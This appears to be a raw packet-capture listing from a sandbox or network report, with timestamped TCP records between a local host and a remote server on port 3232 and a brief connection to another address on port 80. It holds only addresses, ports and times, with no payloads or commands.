May 23, 2024 13:53:48.816606998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.816664934 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.816844940 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.817403078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.817447901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.817619085 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.818491936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.818535089 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.818669081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.818993092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.819035053 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.819345951 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.819749117 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.819770098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.819787025 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.821950912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822011948 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.822397947 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822459936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822499037 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.822695971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822716951 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822736025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.822756052 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.823327065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.823343992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.823360920 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.823817015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.823836088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.823853970 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.824403048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.824445009 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.824711084 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.824974060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.825014114 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.825284958 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.825763941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.825783014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.825799942 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.826498985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.826541901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.826605082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.827155113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.827198029 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.827363014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.828547001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.828589916 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.829580069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.829612017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.829651117 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.829827070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.829969883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.829988956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.830005884 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.830530882 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.830574989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.831197023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.831211090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.831254959 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.831353903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.833753109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.833816051 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.837714911 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.837838888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.837878942 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.838140011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.838438034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.838457108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.838474989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.838489056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.838515997 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.839047909 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.839065075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.839106083 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.839587927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.839607000 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.839639902 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.839900017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.840217113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.840256929 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.840642929 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.844343901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.844382048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.844403028 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.882122993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.882226944 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.899713039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.899842024 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.899919987 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.900242090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.900603056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.900957108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.901000023 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.901313066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.901722908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.901767015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.902074099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.902115107 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.902416945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.902756929 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.902776957 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.902813911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.903151989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.903194904 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.903497934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.903856039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.903908968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.904340982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.904622078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.904642105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.904664040 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.905314922 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.905359030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.905466080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.905742884 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.905782938 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.906025887 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.906349897 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.906394958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.906579018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.906872034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.906917095 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.907164097 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.907475948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.907519102 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.907733917 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.907753944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.907803059 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.908030033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.908488035 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.908531904 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.908653021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.909085035 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.909127951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.909276009 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.909528017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.909569025 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.910032034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.910181999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.910228968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.910490990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.910511017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.910553932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.910955906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.916462898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.916507959 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.921221018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.975397110 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.975476980 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.976572037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.976891041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.976958036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.977101088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.977121115 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.977171898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.977799892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.977972984 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.978013992 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.978538036 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.978688002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.978730917 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.979310989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.979480028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.979521036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.980062962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.980309010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.980326891 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.980345964 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.980850935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.980892897 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.981616020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.981730938 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.981774092 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.982464075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.982616901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.982669115 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.983131886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.983274937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.983318090 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.984091997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.984692097 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.984709978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.984733105 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.984834909 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.984878063 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.985155106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.985495090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.985536098 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.986227989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.986387014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.986428976 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.986995935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.987132072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.987188101 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.987762928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.987906933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.987948895 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.988564968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.989314079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.989331961 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.989348888 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.989455938 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.989499092 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.989917040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.990047932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.990087986 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.990935087 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.991103888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.991144896 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.994678020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.039170027 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.054882050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.055031061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.055179119 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.055553913 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.060322046 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.061557055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.062189102 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063380003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063399076 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063420057 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.063431025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063452005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063467979 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.063478947 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063498020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063517094 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063534975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063544035 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.063563108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063580036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.063591003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.063599110 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.064062119 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.064104080 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.064439058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.064723015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.064764977 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.065030098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.065160990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.065198898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.065485954 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.069983959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.070024014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.071758986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.071783066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.071836948 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.071923971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.072238922 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.072284937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.072537899 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.072562933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.072583914 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.072602987 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.073760033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.073781967 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.073801994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.073810101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.073847055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.074245930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074259996 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074266911 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074300051 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.074763060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074783087 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074800014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.074814081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.074846983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.075620890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.075685024 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.075706005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.075738907 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.107345104 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.117182016 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.122432947 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.122487068 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.127850056 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.128386021 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.130363941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.130750895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.130805969 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.130902052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.131504059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.131710052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.131762028 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.132291079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.132344961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.132458925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.132770061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.133086920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.133133888 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.134206057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.134226084 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.134255886 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.134702921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.134752989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.134845018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.135440111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.135541916 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.135582924 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.136091948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.136137962 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.136914968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.136933088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.136981964 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.137039900 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.137530088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.137583971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.137798071 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.139780045 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.139801979 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.139818907 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.139866114 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.140649080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.140667915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.140702009 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.143094063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.143109083 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.143146992 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.184194088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.184238911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.453047991 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.456933022 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.458043098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.458110094 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.507328987 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.507406950 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.510391951 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:49.512232065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:49.517047882 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:50.116507053 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:50.117136955 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:50.122498989 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:51.570585966 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:51.576289892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:51.576636076 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:51.587182999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:54.255064964 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:54.260174036 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:54.260231018 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:54.268383026 CEST	49748	80	192.168.2.4	104.16.185.241
